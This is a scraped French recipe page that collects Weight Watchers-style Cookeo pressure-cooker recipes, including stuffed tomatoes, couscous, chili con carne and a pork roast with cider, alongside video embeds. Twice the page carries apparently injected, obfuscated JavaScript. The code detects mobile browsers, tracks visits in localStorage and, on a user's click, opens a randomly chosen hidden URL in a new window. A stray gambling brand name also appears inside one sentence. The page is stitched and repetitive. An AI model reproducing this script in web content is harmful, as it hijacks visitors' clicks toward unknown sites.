Vidéo cookeo poulet citron weight watchers

Vidéo cookeo poulet citron weight watchers

 

Vidéo cookeo poulet citron weight watchers

1000 RECETTES COOKEO
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cookeo net
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//
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Vidéo cookeo couscous weight watchers

 

 Vidéo cookeo couscous weight watchers

 Vidéo cookeo couscous weight watchers

 

1000 RECETTES COOKEO
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[youtube https://www.youtube.com/watch?v=rY5_K2qXTF8]

cookeo net
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Recettes cookeo tomates farcies weight watchers

Tomates farcies weight watchers au cookeoTomates farcies weight watchers

Ingrédients pour 4 personnes

250 g de viande  hachée

1 cube de bouillon de bœuf

curry

5 tomates

100 g d’oignons congelés

1 tranche de pain

1 œuf

Sel

Poivre

2 cuillères à café de persil déshydraté

Préparation

Coupez des chapeaux sur la tomate et évidez les tomates. Conservez la chair.

Hachez les poignons et la chair de tomates. Déposez le mélange dans un saladier

Puis ajoutez la viande hachée et mélangez avec les oignons, le sel, le poivre, les épices, le persil.

Dans un bol battez l’œuf et mélangez avec la tranche de pain que vous avez émiettée.

Ajoutez les miettes dans le saladier et mélangez.

Ajoutez la farce dans les tomates recouvrez avec les chapeaux.

Placez les tomates dans la cuve du cookeo.

Ajoutez de l’eau et le cube de bouillon de bœuf.

Cuisson rapide ou sous pression

Programmez 8 mn

Servez chaud
[youtube https://www.youtube.com/watch?v=4-zUHKGTeQo]
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Vidéos cookeo coquillettes carbonara weight watchers

Vidéos cookeo coquillettes carbonara weight watchers

Vidéos cookeo coquillettes carbonara weight watchers

 

1000 RECETTES COOKEO
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//
[youtube https://www.youtube.com/watch?v=HGhAAya1x8M]
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());




Poireaux pommes de terre weight watchers au cookeo : la fiche

Poireaux pommes de terre weight watchers au cookeo

Poireaux pommes de terre weight watchers au  cookeo.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

 

1000 RECETTES COOKEO 1
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//
[youtube https://www.youtube.com/watch?v=_B8R3jbqZ04]
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Couscous weight watchers- Recette cookeo

Couscous weight watchers- Recette cookeo

Couscous weight watchers 14 PP  12 SP LIBERTE

Ingrédients pour 4 personnes

200 g de carottes congelées

2 navets

2 courgettes

4 cuisses de poulet

100 g d’oignons congelés

1 cube de bouillon de volaille

2 cuillères à soupe de concentré de tomates

2 cuillères à café d’huile d’olive

2 cuillères à café de Ras el Hanout

130 g  de pois chiches cuits

Sel

Poivre

120 g de semoule

Préparation

Mode dorer

Versez de l’huile dans la cuve et faites revenir les cuisses de poulet puis les oignons.

Ajoutez ensuite les carottes, les courgettes, les navets, les  pois chiches.

Versez l’eau avec le cube de bouillon de volaille. Saupoudrez avec l’épice.

Ajoutez 4 cuillères à café de concentré de tomates.

Cuisson rapide ou sous pression

Programmez 30 mn

Préparez la semoule juste avant la fin de la cuisson. Servez chaud.

couscous ww fiche
[youtube https://www.youtube.com/watch?v=rY5_K2qXTF8]

1000 RECETTES ICI 

Couscous weight watchers

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Rôti de porc pommes et cidre weight watchers au cookeo

Rôti de porc pommes et cidre weight watchers au cookeo

 

Rôti de porc pommes et cidre weight watchers au cookeo.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

ONGLET pdf

 

1000 RECETTES COOKEO 1
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//

[youtube https://www.youtube.com/watch?v=FIMKYPYUDxA]
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Chili con carne express weight watchers une recette cookeo

Recette cookeo chili con carne express weight watchersChili con carne express weight watchers au cookeo 

380 CALORIES  8 PP 7 SP

Ingrédients pour 4 personnes

250 gr de bœuf haché

3 oignons émincés

2 cuillères à café d’huile d’olive

1 boite de pulpe de tomates en dés (400gr)

 1 poivron rouge coupés en dés

280 gr de haricots rouges en boite cuit.

2 cuillères à café  de chili en poudre ½ cc de cumin 

Sel et  poivre

120 gr de riz

Préparation

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les poignons et la viande hachée.

Ajoutez ensuite les poivrons, la boite de tomates concassées, les haricots rouges, le riz

Saupoudrez d’épice à chili et versez de l’eau pour recouvrir les ingrédients.

Salez et poivrez selon votre convenance.

Mode cuisson rapide ou sous pression

Programmez 6 mn (le temps indiqué sur le paquet de riz divisé par 2)

Servez chaud

[youtube https://www.youtube.com/watch?v=RNaALTP-RC0&w=560&h=315]

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Chili con carne express weight watchers au cookeo

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Recette cookeo : poireaux pommes de terre weight watchers à la crème

poireaux pommes de terre weight watchers AU COOKEO

Poireaux pommes de terre weight watchers à la crème

Ingrédients pour 4 personnes

1 jaune d’œuf

100 g d’oignons congelés

2 gousses d’ail coupées en morceaux

4 pommes de terre coupées en morceaux

400 g de poireaux congelés

2 cuillères à soupe de crème fraîche

Sel

Poivre

2 cuillères à soupe d’huile d’olive

200 ml d’eau

1 cube de bouillon de bœuf

Préparation

Mode dorer

Versez 2 cuillères à soupe d’huile d’olive pour faire revenir les oignons ,l’ail ,

Ajoutez les poireaux puis les pommes de terre .

Versez un bouillon constitué d’eau et du cube de bouillon de bœuf.

Salez et poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez 10 mn

Pendant la cuisson mélangez la crème fraîche avec le jaune d’œuf. (séparez le blanc du jaune )

Quand la cuisson est terminée versez votre sauce dans la cuve et mélangez .

[youtube https://www.youtube.com/watch?v=_B8R3jbqZ04]
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Recette cookeo champignons à la grecque weight watchers

Recette cookeo champignons à la grecque weight watchers

Recette cookeo  champignons à la grecque weight watchers 120 calories pour 5 PP

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Recette cookeo pilons de poulet au riz weight watchers

Recette cookeo pilons de poulet au riz weight watchers

 

Recette cookeo pilons de poulet au riz weight watchers

Ingrédients pour 4 personnes

100 g d’oignons congelés

4 pilons de poulet

200 gr de riz basmati

1 bouillon cube de volaille

200 ml d’eau

100 g de crème fraîche à 0 %

Huile d’olive

Curry

Sel, poivre

Préparation :

Mode dorer

Faites chauffer l’huile pour faire revenir les oignons et les pilons de poulet.

Versez le riz dans la cuve .

Salez et poivrer, saupoudrez de curry .

Versez un bouillon composé de 400 ml d’eau et du cube de bouillon de volaille.

Cuisson rapide ou cuisson sous pression

Programmez 10 mn de cuisson .

Quand la cuisson est terminée ajoutez la crème fraîche et mélangez . Servez chaud .

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.jsPILONS AU RIZ


//
[youtube https://www.youtube.com/watch?v=rtLo6NnxMOE]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Boeuf mijoté weight watchers au cookeo

Boeuf mijoté weight watchers au cookeo

Boeuf mijoté weight watchers au cookeo.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de netbet l’article.

ONGLET pdf

1000 RECETTES COOKEO 1
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[youtube https://www.youtube.com/watch?v=bHaITlDh0Vk]
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Recette cookeo rôti de porc pommes et cidre weight watchers

Recette cookeo rôti de porc pommes et cidre weight watchers

Recette cookeo rôti de porc pommes et cidre weight watchers

Ingrédients pour 6 personnes

1 rôti de porc

200 g de champignons de Paris congelés

3 pommes coupées en morceaux

100 g d’oignons congelés

330 ml de cidre

1 verre d’eau

Sel

Poivre

Huile d’olive

1 cube de bouillon de bœuf

2 cuillères à soupe de crème fraîche

Préparation

Faites dorer le rôti avec de l’huile d’olive dans la cuve, puis ajoutez les oignons.

Ajoutez ensuite les champignons de Paris, les pommes coupées en morceaux.

Versez le cidre et le verre d’eau avec le cube de bouillon de bœuf émietté.

Salez, poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez 30 mn. Servez chaud.

1000 RECETTES COOKEO 1
[youtube https://www.youtube.com/watch?v=FIMKYPYUDxA]
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Steaks de porc au vin blanc weight watchers au cookeo

Steaks de porc au vin blanc weight watchers AU COOKEOSteaks de porc au vin blanc weight watchers

 

Ingrédients pour 4 personnes

400  steaks de porc

125 ml de  vin blanc

200 g de carottes congelées

40 g d’oignons

Paprika

1 cube de bouillon de bœuf

Sel , poivre

Huile d’olive

60 g de crème fraîche

150 ml d’eau.

Préparation

Mode dorer

Faites dorer les oignons et les morceaux de steaks de porc.

Ajoutez les carottes saupoudrez de paprika.

Versez le vin blanc.

Versez 150 ml d’eau et le cube de bouillon de boeuf

Cuisson sous pression ou cuisson rapide

Programmez 8 mn de cuisson rapide .

En fin de cuisson ajoutez la crème fraîche. Servez chaud.
[youtube https://www.youtube.com/watch?v=EgQ8K6xoFQY]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());